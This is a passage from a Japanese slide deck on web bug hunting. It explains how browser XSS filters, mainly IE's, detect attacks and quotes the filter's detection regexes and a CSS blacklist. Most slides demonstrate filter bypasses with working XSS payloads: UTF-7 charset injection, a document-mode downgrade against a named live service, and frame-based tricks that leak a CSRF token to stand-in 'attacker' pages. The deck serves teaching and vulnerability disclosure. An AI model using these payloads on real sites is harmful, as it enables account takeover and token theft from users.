現在のCSSのブラックリスト これで安心...?! expression behavior / behaviour moz-binding include-source url absolute fixed content 【NEW】-o-link 【NEW】AlphaImageLoader javascript: vbscript: data: <p
style="AAA:AAA">test</p>
41.
ハントの秘訣 [ 細かいことを気にしよう ] 些細なバグや特徴的な挙動 いちいち悪用できないか考える 僕は小さな気付きをメモするようにしている あとで脆弱性に繋がると気付くことも
42.
例えば、僕のメモ ftp:のURLで、存在しないディレクトリをスクリプトなど のリソースとしてよみこもうとするとダイアログがでる。 Firefoxのメモ( browser/firefox/bug.txt )
のNo41:
43.
例えば、僕のメモ サイボウズLiveのメモ( bugbounty/cybozu/live.txt )
: https://cybozulive.com/common/transactionTokenJsonDirect {"name":"org.apache.struts.taglib.html.TOKEN","value":"[TOKEN]"} GETでJSON形式でtokenが返ってくる。 ただContent-DispositionとX-Content-Type-Optionsあり。
44.
脆弱性を引き出すコツ[試す] とりあえず手を動かして試してみる いろんな文字を思いつく限り入力するだけでも気付き は得られる 読んだり考えたりするだけより身につく
45.
脆弱性を引き出すコツ[列挙] 同じ性質のものを列挙しておくと便利 例えばHTMLタグ 例えばHTTPLeaks 例えば様々なフォーマットのファイル 例えばブラウザで利用可能な文字コード パーツがたくさんあればアイデアに幅が生まれる 一度列挙しておけば必要なときそこをみるだけ http://l0.cm/encodings/table/
46.
☕ [Windowsの XSS
Tips] F5 を押す 日本語入力でUnicodeのコードポイントを入力 前半終了、ちょっとひといき
47.
日本語入力でUnicodeのコードポイントを入力 😥 ド ヤ F5 を押す ☕
[Windowsの XSS Tips] 前半終了、ちょっとひといき
48.
XSSフィルター TARGET ❷
49.
ブラウザのXSS保護機能 XSS Auditor ChromeやSafariに搭載 XSSフィルター EdgeとIE(8から)に搭載 NoScript (ブラウザ標準ではないが)Firefoxのアドオン URLやPOSTデータの攻撃と疑わしい文字列に 反応し、ページを書き換えて攻撃を防止
50.
遮断できる文脈をみる 典型的なXSSがある状況を作って遮断できるか確認 Reflected XSS(テキスト部/属性内/文字列リテラルの中) DOM based
XSS(document.write/innerHTML) Stored XSS
51.
パターン1 Reflected XSS http://example.com/?q=<script>alert(1)</script> <html> <body> XSS
HERE: <script>alert(1)</script> </body> </html> IE 遮断 Auditor 遮断 NoScript 遮断
52.
http://example.com/?q="onmouseover=alert(1)// <html> <body> <input name="q" value=""onmouseover=alert(1)//"> </body> </html> パターン2
属性内 IE 遮断 Auditor 遮断 NoScript 遮断
53.
http://example.com/?q=javascript:alert(1) <html> <body> <a href="javascript:alert(1)">Click</a> </body> </html> パターン3 リンク部分 IE
遮断 Auditor スルー NoScript 遮断
54.
http://example.com/?q=";alert(1)// <body> <script> var q="";alert(1)//"; </script> </body> パターン4 文字列リテラル IE
遮断 Auditor スルー NoScript 遮断
55.
パターン5 DOM based
XSS - 1 http://example.com/#<img src=x onerror=alert(1)> <body> <script> document.write(location.hash); </script> </body> IE スルー Auditor 遮断 NoScript 遮断
56.
パターン6 DOM based
XSS - 2 http://example.com/#<img src=x onerror=alert(1)> <body> <script> document.body.innerHTML=location.hash; </script> </body> IE スルー Auditor スルー NoScript 遮断
57.
パターン7 Stored XSS http://sns.example.com/hasegawa/ ... <div
id="profile"> <script>alert(1)</script> </div> ... IE スルー Auditor スルー NoScript スルー
58.
機能の限界 全てのXSSを止めることはできない 止められるのは攻撃のヒントのある典型的なパターン 誤検知は無くせない 意図的に起こすこともできる
59.
XSSフィルターをもっと知る XSSフィルターの動作の詳細は文書化されてい ない どんな文字列が遮断対象なのか具体的にみる バイナリを観察 URLにあれこれ入力して試す 通過できたらそれは想定外のバイパスかも? 遮断方法にも注目する ここからはIEのXSSフィルターに絞ってみていこう!
60.
バイナリもヒントになる C:WindowsSystem32mshtml.dll を エディタで開いてみると...
61.
{<BUTTON[ /+t].*?va{l}ue[ /+t]*=} {<fo{r}m.*?>} {<TEXTA{R}EA[
/+t>]} {<is{i}ndex[ /+t>]} {<INPUT[ /+t].*?va{l}ue[ /+t]*=} {<OPTION[ /+t].*?va{l}ue[ /+t]*=} {[ /+t"'`]{o}nccc+?[ +t]*?=.} {<EM{B}ED[ /+t].*?((src)|(type)).*?=} {<[i]?f{r}ame.*?[ /+t]*?src[ /+t]*=} {<.*[:]vmlf{r}ame.*?[ /+t]*?src[ /+t]*=} {<LI{N}K[ /+t].*?href[ /+t]*=} {<[?]?im{p}ort[ /+t].*?implementation[ /+t]*=} {<ME{T}A[ /+t].*?((http-equiv)|(charset))[ /+t]*=} {["'].*?[{,].*(((v|(u0076)|(166)|(x76))[^a-z0-9]*({a}|(u00{6}1)|(1{4}1)|(x{6}1))[^a -z0-9]*(l|(u006C)|(154)|(x6C))[^a-z0-9]*(u|(u0075)|(165)|(x75))[^a-z0-9]*(e|(u 0065)|(145)|(x65))[^a-z0-9]*(O|(u004F)|(117)|(x4F))[^a-z0-9]*(f|(u0066)|(146) |(x66)))|((t|(u0074)|(164)|(x74))[^a-z0-9]*({o}|(u00{6}F)|(1{5}7)|(x{6}F))[^a-z0- 9]*(S|(u0053)|(123)|(x53))[^a-z0-9]*(t|(u0074)|(164)|(x74))[^a-z0-9]*(r|(u007 2)|(162)|(x72))[^a-z0-9]*(i|(u0069)|(151)|(x69))[^a-z0-9]*(n|(u006E)|(156)|( x6E))[^a-z0-9]*(g|(u0067)|(147)|(x67)))).*?:} "'{:, {<a.*?hr{e}f} {["'].*?{)}[ ]*(([^a-z0-9~_:'" ])|(in)).+?{(}} タグらしき文字列が、
62.
{<sc{r}ipt.*?[ /+t]*?((src)|(xlink:href)|(href))[ /+t]*=} {<sc{r}ipt.*?>} {<AP{P}LET[
/+t>]} {<OB{J}ECT[ /+t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+t]*=} {<BA{S}E[ /+t].*?href[ /+t]*=} {[ /+t"'`]data{s}rc[ +t]*?=.} {<st{y}le.*?>.*?((@[i])|(([:=]|(&[#()[].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(]|(&[#()[].]x?0* ((40)|(28)|(92)|(5C));?))))} {[ /+t"'`]st{y}le[ /+t]*?=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(]|(&[#()[].] x?0*((40)|(28)|(92)|(5C));?))} {(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|( newline;))))*{(b|(&[#()[].]x?0*((66)|(42)|(98)|(62));?))}([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D );?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#()[].]x?0*(9|(13 )|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].] x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(52)|(114)|(72));?))([t]|( &(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69 ));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0*((80)|(50 )|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x? 0*((84)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:| (&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).} {(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(n ewline;))))*(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);? )|(tab;)|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#()[].]x?0*(9|(13)| (10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x? いっぱい!
63.
<html> <body> <input name="q" value="[XSS_HERE]"> </body> </html> 属性注入の遮断例 {[
/+t"'`]{o}nccc+?[ +t]*?=.} "onxxx=a "#nxxx=a イベントハンドラっぽい文字列を書き換え
64.
危険なリンクの遮断 {(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#()[].]x?0*( 9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&[#()[].]x?0*((66)|(42) |(98)|(62));?))}([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(ne wline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#() [].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()[].]x?0* ((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|( tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(52)|(114)|(72));?))([t]| (&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[ ].]x?0*((73)|(49)|(105)|(69));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0*((80)|(50)|(112)|(70)); ?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t |(&[#()[].]x?0*((84)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|( 13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()[].]x?0*((58)|(3A) );?)|(colon;)))).} javascript:a vbscript:a vbs:a javasc#ipt:a v#script:a v#s:a
65.
文字列リテラルの遮断 ()を使った関数呼び出し等は禁止 ";abc()// プロパティアクセス後の代入は禁止 ";a.b=// ";a["b"]=// プロパティアクセスの無い代入は許容 ";abc=// ただし一部の危険な代入は禁止 ";location=// 変形もNG: ";locu0061tion=// ";name=// ";onerror=// ";valueOf=// <script> var
q="[XSS_HERE]" </script>
66.
遮断後 <script> var q="[XSS_HERE]" </script> ()を使った関数呼び出し等は禁止 ";abc##// プロパティアクセス後の代入は禁止 ";a#b=// ";a#"b"#=// プロパティアクセスの無い代入は許容 ";abc=// ただし一部の危険な代入は禁止 ";lo#ation=// 変形もNG:
";lo#u0061tion=// ";na#e=// ";on#rror=// ";va#ueOf=//
67.
危険な代入の攻撃例 ";location='javascript:alert(1)'// ";name=document.cookie// ";onerror=eval;throw'alert(1)'// ";valueOf=alert;~window// (多分こんなかんじ?) 追記: element.click()等がcallできるようだ、検証ページ
68.
バイパスに挑戦してみよう 状況次第ではバイパスも可能?! 想定解のある簡単な(?)問題を作ってみました IEのXSSフィルターをバイパスしてalert(1)を出そう! http://tinyurl.com/camp2015xss http://tinyurl.com/camp2015xss2
69.
忘れ去られた機能でバイパス(2010) IE8 xss filter
bypass (xss过滤器绕过) http://www.wooyun.org/bugs/wooyun-2010-013883 <div id=x>a <xml:namespace prefix=t> <import namespace=t implementation=#default#time2> <t:set attributename=innerHTML targetElement=x to=<imgsrc=x:xonerror=alert(1)>> これがいま話題の HTML Imports...(違 {<[?]?im{p}ort[ /+t].*?implementation[ /+t]*=} 現在はフィルタ済:
70.
追加された機能でバイパス(2015) Edgeから追加されたES6の文法を使ったバイ パスが既に指摘されている テンプレートリテラル ECMAScript 6 from
an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else / Mario Heiderich http://www.slideshare.net/x00mario/es6-en/34 ";alert`1`// ES6のユニコードエスケープ ";locu{61}tion=//
71.
仕様を利用した自明なバイパス XSSフィルターは同一オリジンのリンクから開 始したリクエストを遮断対象としない これは誤検知を少しでも減らすための仕様と思われる 同一オリジンにリンクを作れるならバイパス可 つまり 例:サイボウズLiveにReflected XSSがあったなら..
72.
この挙動を利用したバイパス Reflected XSS自身でReflected XSS実行用リンクを作る XSSフィルターの元担当者David曰く「この変更やめた方が良い」 https://twitter.com/randomdross/status/552949854591127552 余談: 現在は
"<a href" も遮断される: {<a.*?hr{e}f} <a href="?q=%3Cscript%3Ealert%281%29%3C/script%3E">XSS</a> http://example.com/xss?q=<a+href="?q=%253Cscript%253Ealert%25281%2529 %253C/script%253E">XSS</a> クリック 同一オリジンのリンクなのでXSSフィルターはスルー スクリプトが実行される
73.
XSSフィルターでXSS(2010) かつて、遮断方法が適切でなかったため、 脆弱性がない部分からXSSを作れていた! Universal XSS via
IE8s XSS Filters / Eduardo Vela Nava & David Lindsay https://media.blackhat.com/bh-eu- 10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8- XSS-Filters-slides.pdf <img src="http://example.com/onerror=alert(1)//"> <img src#"http: example.com onerror=alert(1)//"> 遮断後
74.
遮断を使ってバイパス(2012) "<a href=javascript&.x3A;alert&(x28;1&)x29;//=>XSS なにが起きる? ";abc()// 区切り 関数の実行 ";a.b=// 区切り
プロパティアクセス後の代入
75.
遮断を使ってバイパス(2012) "<a href=javascript&.x3A;alert&(x28;1&)x29;//=>XSS ブラウザのXSS保護機能をバイパスする(3) http://masatokinugawa.l0.cm/2012/09/xss3.html "<a href=javascript:alert(1)//=>XSS 遮断後 遮断によってjavascript:のリンクに! :
: ( ( ) )
76.
ドキュメントモードが高いので動かない... サイボウズLiveで実際にできたもの。 expression()は書けたものの... <meta http-equiv="X-UA-Compatible" content="IE=edge"
/> ・・・ <p style="x:exp/*[0x0A]*/ression(alert(1))"> https://cybozulive.com/xss フィルターを攻撃へ活用する
77.
metaタグが破壊されドキュメントモードが降格 ありがとうXSSフィルター! 😉 そんなときこそXSSフィルター! https://cybozulive.com/xss?<meta+http-equiv=> <m#ta http-equiv="X-UA-Compatible"
content="IE=edge" /> ・・・ <p style="x:exp/*[0x0A]*/ression(alert(1))"> フィルターを攻撃へ活用する
78.
フィルターを攻撃へ活用する HTTP/1.1 200 OK Server:
nginx Date: Mon, 03 Aug 2015 14:34:24 GMT Content-Type: text/html;charset=UTF-8 Connection: keep-alive Vary: Accept-Encoding Cache-Control: private X-Cybozu-Status-Code: 200 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=315360000; includeSubDomains; preload; X-UA-Compatible: IE=Edge X-Content-Type-Options: nosniff Content-Length: 143557 現在はヘッダでも指定している模様
79.
文字コードを使ったバイパス HTTP/1.1 200 OK Content-Type:
text/html <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> </head> <body> XSS HERE: <meta charset=utf-7>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxA CkAPAAvAHMAYwByAGkAcAB0AD4- </body> </html> http://example.com/xss?q=<meta+charset=utf-7>%2BADwAc wBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwBy AGkAcAB0AD4- 選択されるcharset
80.
文字コードを使ったバイパス http://example.com/xss?q=<meta+charset=utf-7>%2BADwAc wBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwBy AGkAcAB0AD4-&<meta+http-equiv=> HTTP/1.1 200 OK Content-Type:
text/html <!DOCTYPE html> <html> <head> <m#ta http-equiv="Content-Type" content="text/html;charset=UTF-8"> </head> <body> XSS HERE: <meta charset=utf-7>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxA CkAPAAvAHMAYwByAGkAcAB0AD4- </body> </html> 選択されるcharset
81.
文字コードを使ったバイパス +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAA vAHMAYwByAGkAcAB0AD4- <script>alert(1)</script> UTF-7からデコード {<ME{T}A[ /+t].*?((http-equiv)|(charset))[ /+t]*=} 現在は
"<meta charset=" も遮断
82.
遮断後 <script> var q="";if#1#{true}else{false}//" </script> <form name=form> <input
type=hidden name=token value=f9d150048b> </form> <script> var q="";if(1){true}else{false}//" </script> if文は遮断される 三項演算子 & デクリメント演算子 でバイパス(2014)
83.
<form name=form> <input type=hidden
name=token value=f9d150048b> </form> <script> var q="";1?true:false//" </script> if(1){true}else{false} 同じ意味 1?true:false 三項演算子は遮断されない 三項演算子 & デクリメント演算子 でバイパス(2014)
84.
遮断後 <script> var q="";lo#ation=location-1//" </script> <form name=form> <input
type=hidden name=token value=f9d150048b> </form> <script> var q="";location=location-1//" </script> locationへの代入は遮断される 三項演算子 & デクリメント演算子 でバイパス(2014)
85.
<form name=form> <input type=hidden
name=token value=f9d150048b> </form> <script> var q="";location--//" </script> デクリメント演算子なら遮断されない location=location-1 location-- 同じ意味 三項演算子 & デクリメント演算子 でバイパス(2014)
86.
<form name=form> <input type=hidden
name=token value=f9d150048b> </form> <script> var q="";"a"==form.token.value[0]?top.TRUE.location. search--:top.FALSE.location.search--//" </script> こんなふうにもかいても遮断されない if("a"==form.token.value[0]){ top.TRUE.location.search--; }else{ top.FALSE.location.search--; } 以下と同じ意味 三項演算子 & デクリメント演算子 でバイパス(2014)
87.
if("a"==form.token.value[0]){ top.TRUE.location.search--; }else{ top.FALSE.location.search--; } <iframe src=http://victim/ id=TRUE></iframe> <iframe
src=http://victim/ id=FALSE></iframe> <iframe src=http://victim/xss?q=";[code]//></iframe> http://attacker/exploit.html top.*はそれぞれ、親の持つ別のフレームを参照させている 三項演算子 & デクリメント演算子 でバイパス(2014)
88.
if("a"==form.token.value[0]){ top.TRUE.location.search--; }else{ top.FALSE.location.search--; //こっちへ } tokenの1文字目は「a」ではないので偽の分岐へ top.FALSE.location.search =
top.FALSE.location.search - 1 以下が実行されることにより、 FALSEのフレーム内でナビゲーションが発生 http://victim/ http://victim/?-1 navi 三項演算子 & デクリメント演算子 でバイパス(2014)
89.
攻撃者は TRUE・FALSE、それぞれのフレームに loadのイベントリスナを設定しておく この時点で攻撃者は「tokenの1文字目はaでない」と知れる 今回であればまずFALSEのフレームの遷移でloadが発生する token取得のデモ: http://l0.cm/xssfilter_bypass/ 条件部を "b"==form.token.value[0]
のように変えて 試行を繰り返していけば、tokenの取得も可能 三項演算子 & デクリメント演算子 でバイパス(2014)
90.
showModalDialog()を つかったバイパス(2015) http://attacker/opener.html <script> ret=showModalDialog("redirector"); alert(ret); </script> http://attacker/redirector Location: ヘッダでリダイレクト http://victim/xss?q=";[code]// <form name=form> <input
type=hidden name=token value=f9d150048b> </form> <script> var q="";returnValue=form.token.value//" </script> http://masatokinugawa.l0.cm/2015/06/xss6.html詳細は:
91.
ハントの秘訣 [ 過去の失敗を知ろう ] 過去の修正済みの脆弱性をじっくりみてみよう 修正後に詳細情報が公開されているものはたくさんある 大抵の脆弱性は形を変えたよく似た失敗 探すべきポイントがみえてくる
92.
僕が心がけていること 「知らなきゃ」より「知りたい」でうごく 流行だけを気にしない 古くて誰も使っていないような技術でも調べてみる
93.
最後に バグハントに一番必要なもの 根気
94.
さあ、 バグハントに出掛けよう!
Télécharger maintenant